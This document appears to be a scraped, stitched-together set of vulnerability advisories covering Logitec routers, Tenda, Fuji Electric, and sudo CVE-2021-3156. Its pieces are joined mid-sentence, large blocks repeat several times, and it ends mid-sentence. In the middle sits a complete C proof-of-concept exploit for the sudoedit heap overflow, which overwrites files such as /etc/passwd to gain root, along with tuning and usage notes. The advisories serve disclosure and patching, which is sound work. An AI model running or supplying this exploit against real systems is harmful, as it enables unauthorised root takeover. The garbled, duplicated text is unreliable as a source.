the developer. Reporter : Mitsui Bussan Secure Direction Co., Ltd. Tsukamoto Taizo Mr CVE-2021-20641 This vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : LAC Co., Ltd. Shuto Kono Mr. Techmatrix Corporation Atsuo Sakurai MrThe expected impact depends on each vulnerability, but it may be affected as follows. ・ Wireless of the corresponding device LAN By a third party within reach PIN Is decrypted and the network provided by the device is accessed. - CVE-2021-20635 ・ Of the product Web The user logged in to the admin page has been crafted URL You can unintentionally change the settings of the product by accessing - CVE-2021-20636, CVE-2021-20641 ・ Of the product Web The user logged in to the admin page has been crafted URL Interfering with service operations by accessing (DoS) Be attacked - CVE-2021-20637, CVE-2021-20642 ・ Of the product Web Arbitrary by an attacker with access to the admin page OS Command is executed - CVE-2021-20638, CVE-2021-20639, CVE-2021-20640. Logitec LAN-W300N/RS is vulnerable to cross-site request forgery, caused by improper validation of user-supplied input. By persuading an authenticated user to visit a malicious Web site, a remote attacker could send a malformed HTTP request to change device settings. An attacker could exploit this vulnerability to perform cross-site scripting attacks, Web cache poisoning, and other malicious activities

Improper restriction of excessive authentication attempts in LOGITEC LAN-WH450N/GR allows an attacker in the wireless range of the device to recover PIN and access the network. The following multiple vulnerabilities exist in multiple products provided by Logitec Co., Ltd. -Inappropriate restriction of excessive authentication attempts (CWE-307) - CVE-2021-20635 ・ Cross-site request forgery (CWE-352) - CVE-2021-20636, CVE-2021-20641 • Improper checking or handling for exceptional situations (CWE-703) - CVE-2021-20637, CVE-2021-20642 ・ OS Command injection (CWE-78) - CVE-2021-20638 ・ OS Command injection (CWE-78) - CVE-2021-20639 ・ Buffer overflow (CWE-119) - CVE-2021-20640 CVE-2021-20635 This vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Kanagawa Institute of Technology Minegishi Takaaki Mr. Okamoto Tsuyoshi Mr CVE-2021-20636, CVE-2021-20637, CVE-2021-20642 These vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : LAC Co., Ltd. Shuto Kono Mr CVE-2021-20638, CVE-2021-20639, CVE-2021-20640 These vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Mitsui Bussan Secure Direction Co., Ltd. Tsukamoto Taizo Mr CVE-2021-20641 This vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : LAC Co., Ltd. Shuto Kono Mr. Techmatrix Corporation Atsuo Sakurai MrThe expected impact depends on each vulnerability, but it may be affected as follows. ・ Wireless of the corresponding device LAN By a third party within reach PIN Is decrypted and the network provided by the device is accessed. - CVE-2021-20635 ・ Of the product Web The user logged in to the admin page has been crafted URL You can unintentionally change the settings of the product by accessing - CVE-2021-20636, CVE-2021-20641 ・ Of the product Web The user logged in to the admin page has been crafted URL Interfering with service operations by accessing (DoS) Be attacked - CVE-2021-20637, CVE-2021-20642 ・ Of the product Web Arbitrary by an attacker with access to the admin page OS Command is executed - CVE-2021-20638, CVE-2021-20639, CVE-2021-20640

A Stored Cross-site scripting (XSS) vulnerability in /main.html Wifi Settings in Tenda AC5 AC1200 version V15.03.06.47_multi allows remote attackers to inject arbitrary web script or HTML via the Wifi Name parameter. Tenda AC5 AC1200 Contains a cross-site scripting vulnerability.Information may be obtained and information may be tampered with. Tenda AC5 is an AC1200 smart dual-band WiFi router

Multiple out-of-bounds write issues have been identified in the way the application processes project files, allowing an attacker to craft a special project file that may allow arbitrary code execution on the Tellus Lite V-Simulator and V-Server Lite (versions prior to 4.0.10.0). V-Simulator and V-Server Lite Is vulnerable to an out-of-bounds write.Information is obtained, information is tampered with, and service is disrupted (DoS) It may be put into a state. Fuji Electric Tellus Lite V-Simulator and Fuji Electric V-Server Lite are both products of Fuji Electric, Japan. Fuji Electric Tellus Lite V-Simulator is a remote monitoring software for industrial environments. Fuji Electric V-Server Lite is a remote monitoring software for industrial environments. The software can collect information about PLCs, temperature controllers, inverters and other equipment. Fuji Electric Tellus Lite V-Simulator and Fuji Electric V-Server Lite have an out-of-bounds write vulnerability, which can be exploited by attackers to execute arbitrary code

Multiple out-of-bounds read issues have been identified in the way the application processes project files, allowing an attacker to craft a special project file that may allow arbitrary code execution on the Tellus Lite V-Simulator and V-Server Lite (versions prior to 4.0.10.0). V-Simulator and V-Server Lite Is vulnerable to an out-of-bounds read.Information is obtained, information is tampered with, and service is disrupted (DoS) It may be put into a state. Fuji Electric Tellus Lite V-Simulator and Fuji Electric V-Server Lite are both products of Fuji Electric, Japan. Fuji Electric Tellus Lite V-Simulator is a remote monitoring software for industrial environments. Fuji Electric V-Server Lite is a remote monitoring software for industrial environments. The software can collect information about PLCs, temperature controllers, inverters and other equipment. Fuji Electric Tellus Lite V-Simulator and Fuji Electric V-Server Lite have an out-of-bounds read vulnerability. Attackers can use this vulnerability to execute arbitrary code

LOGITEC LAN-W300N/PGRB allows an attacker with administrative privilege to execute arbitrary OS commands via unspecified vectors. The following multiple vulnerabilities exist in multiple products provided by Logitec Co., Ltd. -Inappropriate restriction of excessive authentication attempts (CWE-307) - CVE-2021-20635 ・ Cross-site request forgery (CWE-352) - CVE-2021-20636, CVE-2021-20641 • Improper checking or handling for exceptional situations (CWE-703) - CVE-2021-20637, CVE-2021-20642 ・ OS Command injection (CWE-78) - CVE-2021-20638 ・ OS Command injection (CWE-78) - CVE-2021-20639 ・ Buffer overflow (CWE-119) - CVE-2021-20640 CVE-2021-20635 This vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Kanagawa Institute of Technology Minegishi Takaaki Mr. Okamoto Tsuyoshi Mr CVE-2021-20636, CVE-2021-20637, CVE-2021-20642 These vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : LAC Co., Ltd. Shuto Kono Mr CVE-2021-20638, CVE-2021-20639, CVE-2021-20640 These vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Mitsui Bussan Secure Direction Co., Ltd. Tsukamoto Taizo Mr CVE-2021-20641 This vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : LAC Co., Ltd. Shuto Kono Mr. Techmatrix Corporation Atsuo Sakurai MrThe expected impact depends on each vulnerability, but it may be affected as follows. ・ Wireless of the corresponding device LAN By a third party within reach PIN Is decrypted and the network provided by the device is accessed. - CVE-2021-20635 ・ Of the product Web The user logged in to the admin page has been crafted URL You can unintentionally change the settings of the product by accessing - CVE-2021-20636, CVE-2021-20641 ・ Of the product Web The user logged in to the admin page has been crafted URL Interfering with service operations by accessing (DoS) Be attacked - CVE-2021-20637, CVE-2021-20642 ・ Of the product Web Arbitrary by an attacker with access to the admin page OS Command is executed - CVE-2021-20638, CVE-2021-20639, CVE-2021-20640. LOGITEC CORPORATION LAN-W300N/PGRB is a wireless router device. LOGITEC CORPORATION LAN-W300N/PGRB has an operating system command injection vulnerability

LOGITEC LAN-W300N/PGRB allows an attacker with administrative privilege to execute arbitrary OS commands via unspecified vectors. The following multiple vulnerabilities exist in multiple products provided by Logitec Co., Ltd. -Inappropriate restriction of excessive authentication attempts (CWE-307) - CVE-2021-20635 ・ Cross-site request forgery (CWE-352) - CVE-2021-20636, CVE-2021-20641 • Improper checking or handling for exceptional situations (CWE-703) - CVE-2021-20637, CVE-2021-20642 ・ OS Command injection (CWE-78) - CVE-2021-20638 ・ OS Command injection (CWE-78) - CVE-2021-20639 ・ Buffer overflow (CWE-119) - CVE-2021-20640 CVE-2021-20635 This vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Kanagawa Institute of Technology Minegishi Takaaki Mr. Okamoto Tsuyoshi Mr CVE-2021-20636, CVE-2021-20637, CVE-2021-20642 These vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : LAC Co., Ltd. Shuto Kono Mr CVE-2021-20638, CVE-2021-20639, CVE-2021-20640 These vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Mitsui Bussan Secure Direction Co., Ltd. Tsukamoto Taizo Mr CVE-2021-20641 This vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : LAC Co., Ltd. Shuto Kono Mr. Techmatrix Corporation Atsuo Sakurai MrThe expected impact depends on each vulnerability, but it may be affected as follows. ・ Wireless of the corresponding device LAN By a third party within reach PIN Is decrypted and the network provided by the device is accessed. - CVE-2021-20635 ・ Of the product Web The user logged in to the admin page has been crafted URL You can unintentionally change the settings of the product by accessing - CVE-2021-20636, CVE-2021-20641 ・ Of the product Web The user logged in to the admin page has been crafted URL Interfering with service operations by accessing (DoS) Be attacked - CVE-2021-20637, CVE-2021-20642 ・ Of the product Web Arbitrary by an attacker with access to the admin page OS Command is executed - CVE-2021-20638, CVE-2021-20639, CVE-2021-20640. LOGITEC CORPORATION LAN-W300N/PGRB is a wireless router device. LOGITEC CORPORATION LAN-W300N/PGRB has an operating system command injection vulnerability

Sudo before 1.9.5p2 contains an off-by-one error that can result in a heap-based buffer overflow, which allows privilege escalation to root via "sudoedit -s" and a command-line argument that ends with a single backslash character. A heap-based overflow has been discovered in the set_cmd() function in sudo, which may allow a local attacker to execute commands with elevated administrator privileges.CVE-2021-3156 AffectedCVE-2021-3156 Affected. Sensormatic Electronics Company ( Johnson Controls subsidiary) Illustra is a surveillance and security camera system. Illustra includes vulnerabilities related to boundary condition determination ( CWE-193 , CVE-2021-3156 ) exists.Installed in the product by a third party under certain conditions Linux Operating system administrator privileges can be obtained. Any local user (sudoers and non-sudoers) can exploit this flaw for root privilege escalation. For the stable distribution (buster), this problem has been fixed in version 1.8.27-1+deb10u3. We recommend that you upgrade your sudo packages. For the detailed security status of sudo please refer to its security tracker page at: https://security-tracker.debian.org/tracker/sudo Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: https://www.debian.org/security/ Mailing list: debian-security-announce@lists.debian.org -----BEGIN PGP SIGNATURE----- iQKTBAEBCgB9FiEERkRAmAjBceBVMd3uBUy48xNDz0QFAmAQWctfFIAAAAAALgAo aXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldDQ2 NDQ0MDk4MDhDMTcxRTA1NTMxRERFRTA1NENCOEYzMTM0M0NGNDQACgkQBUy48xND z0Qr2w/5AfAZMSbKestTzvm22w+T5yReGOd2jYXO2SzdqdkIzOVXJ83RrbogkiyK d1ie47Csw51M8L5eT/kf48vkABPqT9S0dlRI7rQ2xbIDWIUcDpnFNCSclSGjI+Sd HqtaQQbR+MdSjGtC8vc8RVEOEQcVvoXrqDPaEniWjA4uTV7Iqj0P3EpH1XolVlZv lw4ZZ+VdDolxhm1QWp/NiMKUlDpv5RLs6jW0oQAKP1RZqMIX44TSEHil/NEs6VeN u5AFUwo5iwYRCUbgi2mB0GxV4CRyb0IN26pGsltYJsReFL1vCMiO9drGMk/WhlqB NGKeF5rLsMKaJCkBEcMntDG1XtFhXuyak2O4atL7H8CwhBZ81Axe+aAynn7IB99B qx3GLfRNSVKHQHBHWEOxqILCS+xWmvL6/uB6xMaAh5CXxhEgs9BIEiPonccmkzQ9 xj6Uw/aWv9ZOUu+Rwmp+bG/V8DKaFKegaQAy0HnhOZ11ruJJB/YicTXSsbxoLSEt hbd0bYAOrZBqcysH8Ed+R2tGxtjoWIDLcv3uUqmttxgd8E5YpGGngaYBleGCnB0s X3JDyd1pvBu7H0vR5k2bVNgm4qQ27jHmeNKRSpvUZv50mRX8NQyv/rrROwkUsVdI 1EnlHYz0E4BUfb15ECWLfN9BM/MyPhkdKadIrrd+zJEwq+KVcHo= =d9gQ -----END PGP SIGNATURE----- . Relevant releases/architectures: RHEL 8-based RHEV-H for RHEV 4 (build requirements) - noarch, x86_64 Red Hat Virtualization 4 Hypervisor for RHEL 8 - noarch, x86_64 Red Hat Virtualization 4 Management Agent for RHEL 7 Hosts - noarch 3. These packages include redhat-release-virtualization-host, ovirt-node, and rhev-hypervisor. RHVH features a Cockpit user interface for monitoring the host's resources and performing administrative tasks. Bug Fix(es): * Previously, the Red Hat Virtualization Host (RHV-H) repository (rhvh-4-for-rhel-8-x86_64-rpms) did not include the libsmbclient package, which is a dependency for the sssd-ad package. Consequently, the sssd-ad package failed to install. With this update, the libsmbclient is now in the RHV-H repository, and sssd-ad now installs on RHV-H. (BZ#1868967) 4. Bugs fixed (https://bugzilla.redhat.com/): 1850939 - Hosted engine deployment does not properly show iSCSI LUN errors 1868967 - sssd-ad installation fails on RHV-H 4.4 due to missing libsmbclient from samba package in rhvh-4-for-rhel-8-x86_64-rpms channel 1889686 - CVE-2020-25684 dnsmasq: loose address/port check in reply_query() makes forging replies easier for an off-path attacker 1889688 - CVE-2020-25685 dnsmasq: loose query name check in reply_query() makes forging replies easier for an off-path attacker 1890125 - CVE-2020-25686 dnsmasq: multiple queries forwarded for the same name makes forging replies easier for an off-path attacker 1902315 - Rebase RHV-H 4.4 to RHV 4.4.4 1902646 - ssh connection fails due to overly permissive openssh.config file permissions 1909644 - HE deploy failed with "Failed to download metadata for repo 'rhel-8-for-x86_64-baseos-beta-rpms': Cannot download repomd.xml 1917684 - CVE-2021-3156 sudo: Heap buffer overflow in argument parsing 1921553 - RHVH upgrade to the latest 4.4.4-1 build will fail due to FileNotFoundError 1923126 - Hosted Engine setup fails on storage selection - Retrieval of iSCSI targets failed. # Exploit Title: Local Privilege Escalation - LPE # Authors and Contributors: cts, help from r4j, debug by nu11secur1ty # Date: 30.01.2021 # Vendor: https://www.sudo.ws/ # Link: https://www.sudo.ws/download.html # CVE: CVE-2021-3156 [+] Credits: Ventsislav Varbanovski (@ nu11secur1ty) [+] Website: https://www.nu11secur1ty.com/ [+] Source: https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-3156/1.30.2021 [Exploit Program Code] // Exploit by @gf_256 aka cts // With help from r4j // Debug by @nu11secur1ty // Original advisory by Baron Samedit of Qualys // Tested on Ubuntu 18.04 and 20.04 & 20.04.01 // You will probably need to adjust RACE_SLEEP_TIME. #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <stdlib.h> #include <assert.h> #include <unistd.h> #include <sys/wait.h> #include <sys/types.h> #include <sys/resource.h> #include <sys/stat.h> #include <unistd.h> #include <fcntl.h> #include <pwd.h> // !!! best value of this varies from system-to-system !!! // !!! you will probably need to tune this !!! #define RACE_SLEEP_TIME 10000 char *target_file; char *src_file; size_t query_target_size() { struct stat st; stat(target_file, &st); return st.st_size; } char* read_src_contents() { FILE* f = fopen(src_file, "rb"); if (!f) { puts("oh no baby what are you doing :("); abort(); } fseek(f, 0, SEEK_END); long fsize = ftell(f); fseek(f, 0, SEEK_SET); char *content = malloc(fsize + 1); fread(content, 1, fsize, f); fclose(f); return content; } char* get_my_username() { // getlogin can return incorrect result (for example, root under su)! struct passwd *pws = getpwuid(getuid()); return strdup(pws->pw_name); } int main(int my_argc, char **my_argv) { puts("CVE-2021-3156 PoC by @gf_256"); puts("original advisory by Baron Samedit"); if (my_argc != 3) { puts("./meme <target file> <src file>"); puts("Example: ./meme /etc/passwd my_fake_passwd_file"); return 1; } target_file = my_argv[1]; src_file = my_argv[2]; printf("we will overwrite %s with shit from %s\n", target_file, src_file); char* myusername = get_my_username(); printf("hi, my name is %s\n", myusername); size_t initial_size = query_target_size(); printf("%s is %zi big right now\n", target_file, initial_size); char* shit_to_write = read_src_contents(); char memedir[1000]; char my_symlink[1000]; char overflow[1000]; char* bigshit = calloc(1,0x10000); memset(bigshit, 'A', 0xffff); // need a big shit in the stack so the write doesn't fail with bad address char *argv[] = {"/usr/bin/sudoedit", "-A", "-s", "\\", overflow, NULL }; char *envp[] = { "\n\n\n\n\n", // put some fuckin newlines here to separate our real contents from the junk shit_to_write, "SUDO_ASKPASS=/bin/false", "LANG=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ", bigshit, NULL }; puts("ok podracing time bitches"); // Boom =) // for (int i = 0; i < 5000; i++) for (int i = 0; i < 3000; i++) { sprintf(memedir, "ayylmaobigchungussssssssssss00000000000000000000000000%08d", i); sprintf(overflow, "11111111111111111111111111111111111111111111111111111111%s", memedir); sprintf(my_symlink, "%s/%s", memedir, myusername); puts(memedir); if (access(memedir, F_OK) == 0) { printf("dude, %s already exists, do it from a clean working dir\n", memedir); return 1; } pid_t childpid = fork(); if (childpid) { // parent usleep(RACE_SLEEP_TIME); mkdir(memedir, 0700); symlink(target_file, my_symlink); waitpid(childpid, 0, 0); } else { // child setpriority(PRIO_PROCESS, 0, 20); // set nice to 20 for race reliability execve("/usr/bin/sudoedit", argv, envp); // noreturn puts("execve fails?!"); abort(); } if (query_target_size() != initial_size) { puts("target file has a BRUH MOMENT!!!! SUCCess???"); system("xdg-open 'https://www.youtube.com/watch?v=cj_8X1cyVFc'"); // ayy lmao return 0; } } puts("Failed?"); puts("if all the meme dirs are owned by root, the usleep needs to be decreased."); puts("if they're all owned by you, the usleep needs to be increased"); return 0; } [Vendor] Sudo [Vulnerability Type] Buffer Overflow Local Privilege Escalation [CVE Reference] Sudo before 1.9.5p2 has a Heap-based Buffer Overflow, allowing privilege escalation to root via "sudoedit -s" and a command-line argument that ends with a single backslash character. [Security Issue] Taking control of the Linux system Vulnerabilty version: before 1.9.5p2 [Video] https://www.youtube.com/watch?v=L-dEIYEQd1E [Conclusion and Fix] https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-3156 https://www.youtube.com/watch?v=zf8FXOFWZKs @nu11secur1ty https://www.nu11secur1ty.com/ . 7.7) - ppc64, ppc64le, s390x, x86_64 3. Summary: Red Hat Ansible Automation Platform Resource Operator 1.2 (technical preview) images that fix several security issues. Description: Red Hat Ansible Automation Platform Resource Operator container images with security fixes. Ansible Automation Platform manages Ansible Platform jobs and workflows that can interface with any infrastructure on a Red Hat OpenShift Container Platform cluster, or on a traditional infrastructure that is running off-cluster. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. Bugs fixed (https://bugzilla.redhat.com/): 1914774 - CVE-2021-20178 ansible: user data leak in snmp_facts module 1915808 - CVE-2021-20180 ansible module: bitbucket_pipeline_variable exposes secured values 1916813 - CVE-2021-20191 ansible: multiple modules expose secured values 1925002 - CVE-2021-20228 ansible: basic.py no_log with fallback option 1939349 - CVE-2021-3447 ansible: multiple modules expose secured values 5. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 202101-33 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - https://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: High Title: sudo: Multiple vulnerabilities Date: January 26, 2021 Bugs: #764986, #767364 ID: 202101-33 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======= Multiple vulnerabilities have been found in sudo, the worst of which could result in privilege escalation. Affected packages ================ ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 app-admin/sudo < 1.9.5_p2 >= 1.9.5_p2 Description ========== Multiple vulnerabilities have been discovered in sudo. Please review the CVE identifiers referenced below for details. Impact ===== Local users are able to gain unauthorized privileges on the system or determine the existence of files. Workaround ========= There is no known workaround at this time. Resolution ========= All sudo users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=app-admin/sudo-1.9.5_p2" References ========= [ 1 ] CVE-2021-23239 https://nvd.nist.gov/vuln/detail/CVE-2021-23239 [ 2 ] CVE-2021-23240 https://nvd.nist.gov/vuln/detail/CVE-2021-23240 [ 3 ] CVE-2021-3156 https://nvd.nist.gov/vuln/detail/CVE-2021-3156 [ 4 ] Upstream advisory (CVE-2020-23240) https://www.sudo.ws/alerts/sudoedit_selinux.html [ 5 ] Upstream advisory (CVE-2021-3156) https://www.sudo.ws/alerts/unescape_overflow.html Availability =========== This GLSA and any updates to it are available for viewing at the Gentoo Security Website: https://security.gentoo.org/glsa/202101-33 Concerns? ======== Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users' machines is of utmost importance to us. Any security concerns should be addressed to security@gentoo.org or alternatively, you may file a bug at https://bugs.gentoo.org. License ====== Copyright 2021 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. https://creativecommons.org/licenses/by-sa/2.5 . This advisory contains the following OpenShift Virtualization 2.6.0 images: RHEL-8-CNV-2.6 =============kubevirt-cpu-node-labeller-container-v2.6.0-5 kubevirt-cpu-model-nfd-plugin-container-v2.6.0-5 node-maintenance-operator-container-v2.6.0-13 kubevirt-vmware-container-v2.6.0-5 virtio-win-container-v2.6.0-5 kubevirt-kvm-info-nfd-plugin-container-v2.6.0-5 bridge-marker-container-v2.6.0-9 kubevirt-template-validator-container-v2.6.0-9 kubevirt-v2v-conversion-container-v2.6.0-6 kubemacpool-container-v2.6.0-13 kubevirt-ssp-operator-container-v2.6.0-40 hyperconverged-cluster-webhook-container-v2.6.0-73 hyperconverged-cluster-operator-container-v2.6.0-73 ovs-cni-plugin-container-v2.6.0-10 cnv-containernetworking-plugins-container-v2.6.0-10 ovs-cni-marker-container-v2.6.0-10 cluster-network-addons-operator-container-v2.6.0-16 hostpath-provisioner-container-v2.6.0-11 hostpath-provisioner-operator-container-v2.6.0-14 vm-import-virtv2v-container-v2.6.0-21 kubernetes-nmstate-handler-container-v2.6.0-19 vm-import-controller-container-v2.6.0-21 vm-import-operator-container-v2.6.0-21 virt-api-container-v2.6.0-111 virt-controller-container-v2.6.0-111 virt-handler-container-v2.6.0-111 virt-operator-container-v2.6.0-111 virt-launcher-container-v2.6.0-111 cnv-must-gather-container-v2.6.0-54 virt-cdi-importer-container-v2.6.0-24 virt-cdi-cloner-container-v2.6.0-24 virt-cdi-controller-container-v2.6.0-24 virt-cdi-uploadserver-container-v2.6.0-24 virt-cdi-apiserver-container-v2.6.0-24 virt-cdi-uploadproxy-container-v2.6.0-24 virt-cdi-operator-container-v2.6.0-24 hco-bundle-registry-container-v2.6.0-582 Security Fix(es): * golang.org/x/crypto: Processing of crafted ssh-ed25519 public keys allows for panic (CVE-2020-9283) * golang: crypto/ssh: crafted authentication request can lead to nil pointer dereference (CVE-2020-29652) * gogo/protobuf: plugin/unmarshal/unmarshal.go lacks certain index validation (CVE-2021-3121) * golang.org/x/text: possibility to trigger an infinite loop in encoding/unicode could lead to crash (CVE-2020-14040) * golang: data race in certain net/http servers including ReverseProxy can lead to DoS (CVE-2020-15586) * golang: ReadUvarint and ReadVarint can read an unlimited number of bytes from invalid inputs (CVE-2020-16845) * jwt-go: access restriction bypass vulnerability (CVE-2020-26160) * golang-github-gorilla-websocket: integer overflow leads to denial of service (CVE-2020-27813) * golang: math/big: panic during recursive division of very large numbers (CVE-2020-28362) * containernetworking-cni: Arbitrary path injection via type field in CNI configuration (CVE-2021-20206) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section. Bugs fixed (https://bugzilla.redhat.com/): 1732329 - Virtual Machine is missing documentation of its properties in yaml editor 1783192 - Guest kernel panic when start RHEL6.10 guest with q35 machine type and virtio disk in cnv 1791753 - [RFE] [SSP] Template validator should check validations in template's parent template 1804533 - CVE-2020-9283 golang.org/x/crypto: Processing of crafted ssh-ed25519 public keys allows for panic 1848954 - KMP missing CA extensions in cabundle of mutatingwebhookconfiguration 1848956 - KMP requires downtime for CA stabilization during certificate rotation 1853652 - CVE-2020-14040 golang.org/x/text: possibility to trigger an infinite loop in encoding/unicode could lead to crash 1853911 - VM with dot in network name fails to start with unclear message 1854098 - NodeNetworkState on workers doesn't have "status" key due to nmstate-handler pod failure to run "nmstatectl show" 1856347 - SR-IOV : Missing network name for sriov during vm setup 1856953 - CVE-2020-15586 golang: data race in certain net/http servers including ReverseProxy can lead to DoS 1859235 - Common Templates - after upgrade there are 2 common templates per each os-workload-flavor combination 1860714 - No API information from `oc explain` 1860992 - CNV upgrade - users are not removed from privileged SecurityContextConstraints 1864577 - [v2v][RHV to CNV non migratable source VM fails to import to Ceph-rbd / File system due to overhead required for Filesystem 1866593 - CDI is not handling vm disk clone 1867099 - CVE-2020-16845 golang: ReadUvarint and ReadVarint can read an unlimited number of bytes from invalid inputs 1868817 - Container-native Virtualization 2.6.0 Images 1873771 - Improve the VMCreationFailed error message caused by VM low memory 1874812 - SR-IOV: Guest Agent expose link-local ipv6 address for sometime and then remove it 1878499 - DV import doesn't recover from scratch space PVC deletion 1879108 - Inconsistent naming of "oc virt" command in help text 1881874 - openshift-cnv namespace is getting stuck if the user tries to delete it while CNV is running 1883232 - Webscale: kubevirt/CNV datavolume importer pod inability to disable sidecar injection if namespace has sidecar injection enabled but VM Template does NOT 1883371 - CVE-2020-26160 jwt-go: access restriction bypass vulnerability 1885153 - [v2v][RHV to CNv VM import] Wrong Network mapping do not show a relevant error message 1885418 - [openshift-cnv] issues with memory overhead calculation when limits are used 1887398 - [openshift-cnv][CNV] nodes need to exist and be labeled first, *before* the NodeNetworkConfigurationPolicy is applied 1889295 - [v2v][VMware to CNV VM import API] diskMappings: volumeMode Block is not passed on to PVC request. 1891285 - Common templates and kubevirt-config cm - update machine-type 1891440 - [v2v][VMware to CNV VM import API]Source VM with no network interface fail with unclear error 1892227 - [SSP] cluster scoped resources are not being reconciled 1893278 - openshift-virtualization-os-images namespace not seen by user 1893646 - [HCO] Pod placement configuration - dry run is not performed for all the configuration stanza 1894428 - Message for VMI not migratable is not clear enough 1894824 - [v2v][VM import] Pick the smallest template for the imported VM, and not always Medium 1894897 - [v2v][VMIO] VMimport CR is not reported as failed when target VM is deleted during the import 1895414 - Virt-operator is accepting updates to the placement of its workload components even with running VMs 1897635 - CVE-2020-28362 golang: math/big: panic during recursive division of very large numbers 1898072 - Add Fedora33 to Fedora common templates 1898840 - [v2v] VM import VMWare to CNV Import 63 chars vm name should not fail 1899558 - CNV 2.6 - nmstate fails to set state 1901480 - VM disk io can't worked if namespace have label kubemacpool 1902046 - Not possible to edit CDIConfig (through CDI CR / CDIConfig) 1902111 - CVE-2020-27813 golang-github-gorilla-websocket: integer overflow leads to denial of service 1903014 - hco-webhook pod in CreateContainerError 1903585 - [v2v] Windows 2012 VM imported from RHV goes into Windows repair mode 1904797 - [VMIO][vmware] A migrated RHEL/Windows VM starts in emergency mode/safe mode when target storage is NFS and target namespace is NOT "default" 1906199 - [CNV-2.5] CNV Tries to Install on Windows Workers 1907151 - kubevirt version is not reported correctly via virtctl 1907352 - VM/VMI link changes to `kubevirt.io~v1~VirtualMachineInstance` on CNV 2.6 1907691 - [CNV] Configuring NodeNetworkConfigurationPolicy caused "Internal error occurred" for creating datavolume 1907988 - VM loses dynamic IP address of its default interface after migration 1908363 - Applying NodeNetworkConfigurationPolicy for different NIC than default disables br-ex bridge and nodes lose connectivity 1908421 - [v2v] [VM import RHV to CNV] Windows imported VM boot failed: INACCESSIBLE BOOT DEVICE error 1908883 - CVE-2020-29652 golang: crypto/ssh: crafted authentication request can lead to nil pointer dereference 1909458 - [V2V][VMware to CNV VM import via api using VMIO] VM import to Ceph RBD/BLOCK fails on "qemu-img: /data/disk.img" error 1910857 - Provide a mechanism to enable the HotplugVolumes feature gate via HCO 1911118 - Windows VMI LiveMigration / shutdown fails on 'XML error: non unique alias detected: ua-') 1911396 - Set networkInterfaceMultiqueue false in rhel 6 template for e1000e interface 1911662 - el6 guests don't work properly if virtio bus is specified on various devices 1912908 - Allow using "scsi" bus for disks in template validation 1913248 - Creating vlan interface on top of a bond device via NodeNetworkConfigurationPolicy fails 1913320 - Informative message needed with virtctl image-upload, that additional step is needed from the user 1913717 - Users should have read permitions for golden images data volumes 1913756 - Migrating to Ceph-RBD + Block fails when skipping zeroes 1914177 - CNV does not preallocate blank file data volumes 1914608 - Obsolete CPU models (kubevirt-cpu-plugin-configmap) are set on worker nodes 1914947 - HPP golden images - DV shoudld not be created with WaitForFirstConsumer 1917908 - [VMIO] vmimport pod fail to create when using ceph-rbd/block 1917963 - [CNV 2.6] Unable to install CNV disconnected - requires kvm-info-nfd-plugin which is not mirrored 1919391 - CVE-2021-20206 containernetworking-cni: Arbitrary path injection via type field in CNI configuration 1920576 - HCO can report ready=true when it failed to create a CR for a component operator 1920610 - e2e-aws-4.7-cnv consistently failing on Hyperconverged Cluster Operator 1921650 - CVE-2021-3121 gogo/protobuf: plugin/unmarshal/unmarshal.go lacks certain index validation 1923979 - kubernetes-nmstate: nmstate-handler pod crashes when configuring bridge device using ip tool 1927373 - NoExecute taint violates pdb; VMIs are not live migrated 1931376 - VMs disconnected from nmstate-defined bridge after CNV-2.5.4->CNV-2.6.0 upgrade 5. Bug Fix(es): * When performing an upgrade of the Red Hat Virtualization Host using the command `yum update`, the yum repository for RHV 4.3 EUS is unreachable As a workaround, run the following command: `# yum update --releasever=7Server` (BZ#1899378) 4. ========================================================================== Ubuntu Security Notice USN-4705-1 January 26, 2021 sudo vulnerabilities ========================================================================== A security issue affects these releases of Ubuntu and its derivatives: - Ubuntu 20.10 - Ubuntu 20.04 LTS - Ubuntu 18.04 LTS - Ubuntu 16.04 LTS Summary: Several security issues were fixed in Sudo. A local attacker could possibly use this issue to obtain unintended access to the administrator account. (CVE-2021-3156) It was discovered that the Sudo sudoedit utility incorrectly handled checking directory permissions. A local attacker 